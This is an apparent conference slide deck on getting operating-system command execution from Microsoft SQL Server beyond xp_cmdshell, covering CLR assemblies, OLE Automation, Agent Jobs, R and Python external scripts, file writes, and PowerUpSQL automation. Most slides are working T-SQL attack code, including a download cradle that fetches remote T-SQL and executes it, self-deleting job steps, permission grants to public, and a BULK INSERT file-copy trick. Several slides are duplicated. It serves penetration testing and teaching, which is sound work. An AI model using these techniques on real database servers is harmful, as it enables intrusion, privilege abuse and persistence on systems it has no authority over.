  • 59. 60 Confidential & Proprietary 60 CLR Assemblies – Code Sample - TSQL -- Select the msdb database use msdb -- Enable show advanced options on the server sp_configure 'show advanced options’,1 RECONFIGURE GO -- Enable CLR on the server sp_configure 'clr enabled’,1 RECONFIGURE GO -- Create the assembly from a file path CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE; -- Create a procedure that links to the CLR method CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; GO -- Execute the procedure Exec cmd_exec ‘whoami’ BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 60. 61 Confidential & Proprietary 61 CLR Assemblies – Code Sample - TSQL -- Select the msdb database use msdb -- Enable show advanced options on the server sp_configure 'show advanced options’,1 RECONFIGURE GO -- Enable CLR on the server sp_configure 'clr enabled’,1 RECONFIGURE GO -- Create the assembly from a file path CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE; -- Create a procedure that links to the CLR method CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; GO -- Execute the procedure Exec cmd_exec ‘whoami’ BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 61. 62 Confidential & Proprietary 62 CLR Assemblies – Code Sample - TSQL -- Select the msdb database use msdb -- Enable show advanced options on the server sp_configure 'show advanced options’,1 RECONFIGURE GO -- Enable CLR on the server sp_configure 'clr enabled’,1 RECONFIGURE GO -- Create the assembly from a file path CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE; -- Create a procedure that links to the CLR method CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; GO -- Execute the procedure Exec cmd_exec ‘whoami’ BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 62. 63 Confidential & Proprietary 63 CLR Assemblies – Code Sample - TSQL -- Select the msdb database use msdb -- Enable show advanced options on the server sp_configure 'show advanced options’,1 RECONFIGURE GO -- Enable CLR on the server sp_configure 'clr enabled’,1 RECONFIGURE GO -- Create the assembly from a file path CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE; -- Create a procedure that links to the CLR method CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; GO -- Execute the procedure Exec cmd_exec ‘whoami’ BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 63. 64 Confidential & Proprietary 64 CLR Assemblies – Code Sample - TSQL -- Select the msdb database use msdb -- Enable show advanced options on the server sp_configure 'show advanced options’,1 RECONFIGURE GO -- Enable CLR on the server sp_configure 'clr enabled’,1 RECONFIGURE GO -- Create the assembly from a file path CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE; -- Create a procedure that links to the CLR method CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; GO -- Execute the procedure Exec cmd_exec ‘whoami’ BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 64. 66 Confidential & Proprietary 66 CLR Assemblies – Code – TSQL – Select Assemblies USE msdb; SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name], af.file_id, af.name + '.dll' as [file_name], asmbly.clr_name, asmbly.assembly_id, asmbly.name AS [assembly_name], am.assembly_class, am.assembly_method, so.object_id as [sp_object_id], so.name AS [sp_name], so.[type] as [sp_type], asmbly.permission_set_desc, asmbly.create_date, asmbly.modify_date, af.content FROM sys.assembly_modules am INNER JOIN sys.assemblies asmbly ON asmbly.assembly_id = am.assembly_id INNER JOIN sys.assembly_files af ON asmbly.assembly_id = af.assembly_id INNER JOIN sys.objects so ON so.[object_id] = am.[object_id] BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
  • 65. 67 Confidential & Proprietary 67
  • 66. 68 Confidential & Proprietary 68 CLR Assemblies – Automation – PowerUpSQL BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Action PowerUpSQL Function Create Custom .net DLL with Custom Attributes Create-SQLFileCLRDLL Execute OS Command via CLR Invoke-SQLOSCmdCLR List Assembly Information Get-SQLStoredProcedureCLR Export Existing Assemblies Get-SQLStoredProcedureCLR –ExportFolder c:temp
  • 67. 69 Confidential & Proprietary 69 Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
  • 68. 70 Confidential & Proprietary 70 Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
  • 69. 71 Confidential & Proprietary 71 Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
  • 70. 73 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 73 Ole Automation Procedures
  • 71. 74 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE 74 Ole Automation Procedures - Overview 1. SQL Server native scripting that allows calls to COM objects 2. Affected Versions: SQL Server 2000 to 2017 (so far) 3. Requires sysadmin role by default 4. Can be executed by non-sysadmin with:  GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to [public]  GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to [public] 5. Executes as the SQL Server service account Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
  • 72. 75 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE 75 Ole Automation Procedures - Instructions 1. Server level setting: “'Ole Automation Procedures” set to 1 2. Run your code  Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
  • 73. 76 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 76 Ole Automation Procedures – Code - TSQL -- Enable Show Advanced Options sp_configure 'Show Advanced Options',1 RECONFIGURE GO -- Enable OLE Automation Procedures sp_configure 'Ole Automation Procedures',1 RECONFIGURE GO -- Execute Command via OLE and store output in temp file DECLARE @Shell INT DECLARE @Shell2 INT EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"' -- Read results DECLARE @libref INT DECLARE @filehandle INT DECLARE @FileContents varchar(8000) EXEC sp_oacreate 'scripting.filesystemobject', @libref out EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1 EXEC sp_oamethod @filehandle, 'readall', @FileContents out SELECT @FileContents GO -- Remove temp result file DECLARE @Shell INT EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:tempfile.txt"' GO -- Disable Show Advanced Options sp_configure 'Show Advanced Options',1 RECONFIGURE GO -- Disable OLE Automation Procedures sp_configure 'Ole Automation Procedures',1 RECONFIGURE GO
  • 74. 77 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE 77 Ole Automation Procedures – Code - TSQL -- Execute Command via OLE and store output in temp file DECLARE @Shell INT DECLARE @Shell2 INT EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"' -- Read results DECLARE @libref INT DECLARE @filehandle INT DECLARE @FileContents varchar(8000) EXEC sp_oacreate 'scripting.filesystemobject', @libref out EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1 EXEC sp_oamethod @filehandle, 'readall', @FileContents out SELECT @FileContents GO Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
  • 75. 78 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE 78 Ole Automation Procedures – Code - TSQL -- Execute Command via OLE and store output in temp file DECLARE @Shell INT DECLARE @Shell2 INT EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"' -- Read results DECLARE @libref INT DECLARE @filehandle INT DECLARE @FileContents varchar(8000) EXEC sp_oacreate 'scripting.filesystemobject', @libref out EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1 EXEC sp_oamethod @filehandle, 'readall', @FileContents out SELECT @FileContents GO Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
  • 76. 79 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE 79 Ole Automation Procedures – Code - TSQL -- Execute Command via OLE and store output in temp file DECLARE @Shell INT DECLARE @Shell2 INT EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"' -- Read results DECLARE @libref INT DECLARE @filehandle INT DECLARE @FileContents varchar(8000) EXEC sp_oacreate 'scripting.filesystemobject', @libref out EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1 EXEC sp_oamethod @filehandle, 'readall', @FileContents out SELECT @FileContents GO Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
  • 77. 80 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE 80 Ole Automation Procedures – Automation – PowerUpSQL Action PowerUpSQL Function Execute OS Command via OLE Automation Procedure Invoke-SQLOSCmdOle
  • 78. 81 Confidential & Proprietary 81 Ole Automation Procedures – Automation – PowerUpSQL
  • 79. 82 Confidential & Proprietary BEYOND XP_CMDSHELL: BONUS SLIDE – TSQL DOWNLOAD CRADLE 82 -- OLE Automation Procedure Download Cradle Example -- Setup Variables DECLARE @url varchar(300) DECLARE @WinHTTP int DECLARE @handle int DECLARE @Command varchar(8000) -- Set target url containting TSQL SET @url = 'http://127.0.0.1/mycmd.txt' -- Setup namespace EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT -- Call the Open method to setup the HTTP request EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false' -- Call the Send method to send the HTTP GET request EXEC @handle=sp_OAMethod @WinHTTP,'Send' -- Capture the HTTP response content EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out -- Destroy the object EXEC @handle=sp_OADestroy @WinHTTP -- Display command SELECT @Command -- Run command execute(@Command)
  • 80. 84 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 84 Agent Jobs
  • 81. 85 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 85 Agent Jobs - Overview 1. Native task scheduling engine 2. Affected Versions: All 3. Requires sysadmin role by default 4. Non sysadmin roles: SQLAgentUserRole, SQLAgentReaderRole, SQLAgentOperatorRole (require proxy account) 5. Executes as the SQL Server Agent service account unless a a proxy account is configured
  • 82. 86 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 86 Agent Jobs – Overview - Most Common Job Types 1. TSQL 2. SQL Server Integrated Services (SSIS) Package 3. CMDEXEC 4. PowerShell 5. ActiveScripting (VBScript & JSCRIPT)
  • 83. 88 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 88 Agent Jobs - Instructions 1. Make sure the SQL Server Agent service is running! (xp_startservice) 2. Create Job 3. Create Job Step 4. Configure to self delete 5. Run Job  Note: For non sysadmins a proxy account must be configured. As a sysadmin:  Create a credential  Create a proxy account that allows all the subsystem execution needed  Grant use of proxy to security principals (logins and roles)
  • 84. 89 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 89 Agent Jobs – Code – TSQL – CMDEXEC use msdb DECLARE @jobId BINARY(16) EXEC msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, @delete_level=1, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'sa', @job_id = @jobId OUTPUT EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - CMDEXEC', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @on_success_step_id=0, @on_fail_action=2, @on_fail_step_id=0, @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'CmdExec', @command=N'c:windowssystem32cmd.exe /c echo hello > c:windowstempblah.txt', @flags=0 use msdb EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ; @command=N'c:windowssystem32cmd.exe /c echo hello > c:windowstempblah.txt’,
  • 85. 90 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 90 Agent Jobs – Code – TSQL – PowerShell USE [msdb] GO DECLARE @jobId BINARY(16) EXEC msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, @delete_level=1, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'sa', @job_id = @jobId OUTPUT EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - POWERHSHELL', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @on_success_step_id=0, @on_fail_action=2, @on_fail_step_id=0, @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'PowerShell', @command=N'write-output "hello world" | out-file c:windowstempblah.txt', @database_name=N'master', @flags=0 use msdb EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ; @command=N'write-output "hello world" | out-file c:windowstempblah.txt’
  • 86. 91 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 91 Agent Jobs – Code – TSQL – JSCRIPT use msdb DECLARE @jobId BINARY(16) exec msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, @delete_level=1, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'sa', @job_id = @jobId OUTPUT exec msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: JSCRIPT', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @on_success_step_id=0, @on_fail_action=2, @on_fail_step_id=0, @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'ActiveScripting', @command=N'function RunCmd() { var objShell = new ActiveXObject("shell.application"); objShell.ShellExecute("cmd.exe", "/c echo hello > c:windowstempblah.txt", "", "open", 0); } RunCmd(); ', @database_name=N'JavaScript', @flags=0 use msdb EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ; @command=N'function RunCmd() { var objShell = new ActiveXObject("shell.application"); objShell.ShellExecute("cmd.exe", "/c echo hello > c:windowstempblah.txt", "", "open", 0); } RunCmd();’
  • 87. 92 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 92 Agent Jobs – Code – TSQL – VBSCRIPT use msdb DECLARE @jobId BINARY(16) EXECmsdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, @delete_level=1, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'sa', @job_id = @jobId OUTPUT EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @on_success_step_id=0, @on_fail_action=2, @on_fail_step_id=0, @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'ActiveScripting', @command=N'FUNCTION Main() dim shell set shell= CreateObject ("WScript.Shell") shell.run("c:windowssystem32cmd.exe /c echo hello > c:windowstempblah.txt") set shell = nothing END FUNCTION', @database_name=N'VBScript', @flags=0 use msdb EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ; @command=N'FUNCTION Main() dim shell set shell= CreateObject ("WScript.Shell") shell.run("c:windowssystem32cmd.exe /c echo hello > c:windowstempblah.txt") set shell = nothing END FUNCTION’,
  • 88. 93 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 93 Agent Jobs – Code – TSQL – VBSCRIPT – Find your own com https://github.com/tyranid/oleviewdotnet OleViewDotNetOLE/COM Object Viewer
  • 89. 94 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 94 Agent Jobs – Code – TSQL – List Jobs SELECT job.job_id as [JOB_ID], job.name as [JOB_NAME], job.description as [JOB_DESCRIPTION], steps.step_name, steps.subsystem, steps.command, SUSER_SNAME(job.owner_sid) as [JOB_OWNER], steps.proxy_id, proxies.name as [proxy_account], job.enabled, steps.server, job.date_created, steps.last_run_date FROM [msdb].[dbo].[sysjobs] job INNER JOIN [msdb].[dbo].[sysjobsteps] steps ON job.job_id = steps.job_id left join [msdb].[dbo].[sysproxies] proxies ON steps.proxy_id = proxies.proxy_id ORDER BY JOB_NAME, step_name
  • 90. 95 Confidential & Proprietary 95
  • 91. 96 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 96 Agent Jobs – Automation - PowerUpSQL  Get-SQLAgentJob  Get list of agents jobs and their code  Use on scale to get stats in verbose Get-SQLInstanceDomain | Get-SQLAgentJob - Verbose VERBOSE: SQL Server Agent Job Search Complete. VERBOSE: --------------------------------- VERBOSE: Agent Job Summary VERBOSE: --------------------------------- VERBOSE: 470 jobs found VERBOSE: 7 affected systems VERBOSE: 7 affected SQL Server instances VERBOSE: 33 proxy credentials used VERBOSE: --------------------------------- VERBOSE: Agent Job Summary by SubSystem VERBOSE: --------------------------------- VERBOSE: 461 SSIS Jobs VERBOSE: 4 Snapshot Jobs VERBOSE: 2 Distribution Jobs VERBOSE: 1 QueueReader Jobs VERBOSE: 1 LogReader Jobs VERBOSE: 1 CmdExec Jobs VERBOSE: 470 Total VERBOSE: ---------------------------------
  • 92. 97 Confidential & Proprietary 97 Agent Jobs – Automation - PowerUpSQL  Invoke-SQLOSCmdAgentJob  Written by Leo Loobeek  Gold Star PowerUpSQL contributor! BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
  • 93. 98 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB 98 Agent Jobs – Automation - PowerUpSQL Action PowerUpSQL Function List Agent Jobs Get-SQLAgentJob OS CMD via CMDEXEC Invoke-SQLOSCmdAgentJob –SubSystem CMDEXEC OS CMD via PowerShell Invoke-SQLOSCmdAgentJob –SubSystem PowerShell OS CMD via JScript Invoke-SQLOSCmdAgentJob –SubSystem Jscript OS CMD via VBScript Invoke-SQLOSCmdAgentJob –SubSystem VBScript
  • 94. 100 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 100 External Scripts R & Python
  • 95. 101 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS 101 External Scripts - Overview  R introduced in SQL Server 2016  Python introduced in SQL Server 2017  Both are used for “big data” analytics and machine learning stuff  Runtime environments must be installed with SQL Server  Require sysadmin privileges to run by default  Run as a dynamically created local Windows user account
  • 96. 102 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS 102 External Scripts - Instructions 1. The R / Python runtime environment must be installed already 2. The 'external scripts enabled’ server configuration must be enabled 3. The SQL Server service must be restarted for the change to take effect 4. Then ‘sp_execute_external_script’ can be used to execute OS commands via R and Python scripts
  • 97. 103 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – R SCRIPT 103 R Scripts – Code Sample - TSQL EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))' WITH RESULT SETS (([cmd_out] text)); GO
  • 98. 104 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – PYTHON SCRIPT 104 Python Scripts – Code Sample - TSQL EXEC sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([Output] nvarchar(max))) Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
  • 99. 105 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS 105 External Script – Automation - PowerUpSQL Action PowerUpSQL Function OS CMD via R Script Invoke-SQLOSCmdR OS CMD via Python Script Invoke-SQLOSCmdPython
  • 100. 106 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – R SCRIPT 106 R Scripts – Automation – PowerUpSQL PS C:> Invoke-SQLOSCmdR -Verbose -Instance Server1SQLSERVER2017 -command whoami VERBOSE: Creating runspace pool and session states VERBOSE: Server1SQLSERVER2017 : Connection Success. VERBOSE: Server1SQLSERVER2017 : You are a sysadmin. VERBOSE: Server1SQLSERVER2017 : Show Advanced Options is disabled. VERBOSE: Server1SQLSERVER2017 : Enabled Show Advanced Options. VERBOSE: Server1SQLSERVER2017 : External scripts enabled are disabled. VERBOSE: Server1SQLSERVER2017 : Enabled external scripts. VERBOSE: Server1SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.' VERBOSE: Server1SQLSERVER2017 : Executing command: whoami VERBOSE: Server1SQLSERVER2017 : Disabling external scripts VERBOSE: Server1SQLSERVER2017 : Disabling Show Advanced Options VERBOSE: Closing the runspace pool ComputerName Instance CommandResults --------------------- ----------- ------------------------ Server1 Server1SQLSERVER2017 Server1sqlserver201701
  • 101. 107 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – PYTHON SCRIPT 107 Python Scripts – Automation – PowerUpSQL PS C:> Invoke-SQLOSCmdPython -Verbose -Instance Server1SQLSERVER2017 -command whoami VERBOSE: Creating runspace pool and session states VERBOSE: Server1SQLSERVER2017 : Connection Success. VERBOSE: Server1SQLSERVER2017 : You are a sysadmin. VERBOSE: Server1SQLSERVER2017 : Show Advanced Options is disabled. VERBOSE: Server1SQLSERVER2017 : Enabled Show Advanced Options. VERBOSE: Server1SQLSERVER2017 : External scripts enabled are disabled. VERBOSE: Server1SQLSERVER2017 : Enabled external scripts. VERBOSE: Server1SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.' VERBOSE: Server1SQLSERVER2017 : Executing command: whoami VERBOSE: Server1SQLSERVER2017 : Disabling external scripts VERBOSE: Server1SQLSERVER2017 : Disabling Show Advanced Options VERBOSE: Closing the runspace pool ComputerName Instance CommandResults --------------------- ----------- ------------------------ Server1 Server1SQLSERVER2017 Server1sqlserver201701
  • 102. 109 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 109 File Autoruns
  • 103. 110 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – WRITE FILE 110 File Autoruns – Writing Files  OpenRowSet / OpenDataSource / OpenQuery  Requires sysadmin or bulk insert privileges  Requires the 'Microsoft.ACE.OLEDB.12.0’ or similar provider to be installed  Requires sp_configure 'ad hoc distributed queries',1  Bulk Insert File Copy  Requires sysadmin or bulk insert privileges  Requires local, UNC, or WebDav path to copy file content  Haven’t had time to verify the full WebDav PoC yet (exfil)
  • 104. 111 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – WRITE FILE 111 File Autoruns – OpenRowSet File Write -- Note: Requires the driver to be installed ahead of time. -- list available providers EXEC sp_MSset_oledb_prop -- get available providers -- Enable show advanced options sp_configure 'show advanced options',1 reconfigure go -- Enable ad hoc queries sp_configure 'ad hoc distributed queries',1 reconfigure go -- Write text file INSERT INTO OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:temp;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]') SELECT @@version -- Note: This also works with unc paths ipfile.txt -- Note: This also works with webdav paths ip@80file.txt However, the target web server needs to support propfind.
  • 105. 112 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE 112 File Autoruns – Bulk Insert Read File -- Create temp table CREATE TABLE #file (content nvarchar(4000)); -- Read file into temp table BULK INSERT #file FROM 'c:tempfile.txt'; -- Select contents of file SELECT content FROM #file https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
  • 106. 113 Confidential & Proprietary 113 File Autoruns – Automation - PowerUpSQL  TSQL File write via BULK INSERT ErrorFile  Written by Antti Rantasaari  Gold Star PowerUpSQL contributor! BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE
  • 107. 114 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE 114 File Autoruns – Bulk Insert Error – File Write/Copy -- author: antti rantassari, 2017 -- Description: Copy file contents to another file via local, unc, or webdav path -- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada! -- requires sysadmin or bulk insert privs CREATE TABLE #errortable (ignore int) BULK INSERT #errortable FROM 'localhostc$windowswin.ini' WITH ( fieldterminator=',', rowterminator='n', errorfile='c:windowstempthatjusthappend.txt' ) drop table #errortable https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
  • 108. 115 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE 115 File Autoruns – Bulk Insert Error File Copy -- author: antti rantassari, 2017 -- Description: Copy file contents to another file via local, unc, or webdav path -- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada! -- requires sysadmin or bulk insert privs CREATE TABLE #errortable (ignore int) BULK INSERT #errortable FROM 'localhostc$windowswin.ini' -- or 'c:windowssystem32win.ini' -- or hostanme@SSLfolderfile.ini’ WITH ( fieldterminator=',', rowterminator='n', errorfile='c:windowstempthatjusthappend.txt' ) drop table #errortable https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
  • 109. 119 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 119 Uuuh - That was too much crap at once. Uuuh - That was too much crap at once.
  • 110. 120 Confidential & Proprietary BEYOND XP_CMDSHELL: POWERUPSQL OS CMD CHEAT SHEET 120 Technique PowerUpSQL Functions PowerUpSQL Templates Execute xp_cmdshell • Invoke-SQLOSCmd • oscmdexec_xpcmdshell.sql • oscmdexec_xpcmdshell_proxy.sql Create & Execute a Extended Stored Procedure • Create-SQLFileXpDll • Get-SQLStoredProcedureXp • cmd_exec.cpp Create & Execute a CLR Assembly • Create-SQLFileCLRDll • Get-SQLStoreProcedureCLR • Get-SQLStoreProcedureCLR –ExportFolder C:temp • Invoke-SQLOSCmdCLR • cmd_exec.cs Execute a OLE Automation Procedure • Invoke-SQLOSCmdOle • oscmdexec_oleautomationobject.sql Create & Execute an Agent Job • CmdExec • PowerShell • ActiveX: Jscript • ActiveX: VBScript • Get-SQLAgentJob • Invoke-SQLOSCmdAgentJob • oscmdexec_agentjob_activex_jscript.sql • oscmdexec_agentjob_activex_vbscript.sql • oscmdexec_agentjob_cmdexec.sql • oscmdexec_agentjob_powershell.sql External Scripting • R • Python • Invoke-SQLOSCmdR • Invoke-SQLOSCmdPython • oscmdexec_rscript.sql • oscmdexec_pythonscript.tsql OS Autoruns • Bulk Insert • Provider • Microsoft.ACE.OLEDB.12.0 • Microsoft.Jet.OLEDB.4.0 • Get-SQLPersistRegRun • Get-SQLPersistRegDebugger • writefile_bulkinsert.sql https://github.com/NetSPI/PowerUpSQL/tree/master/templates
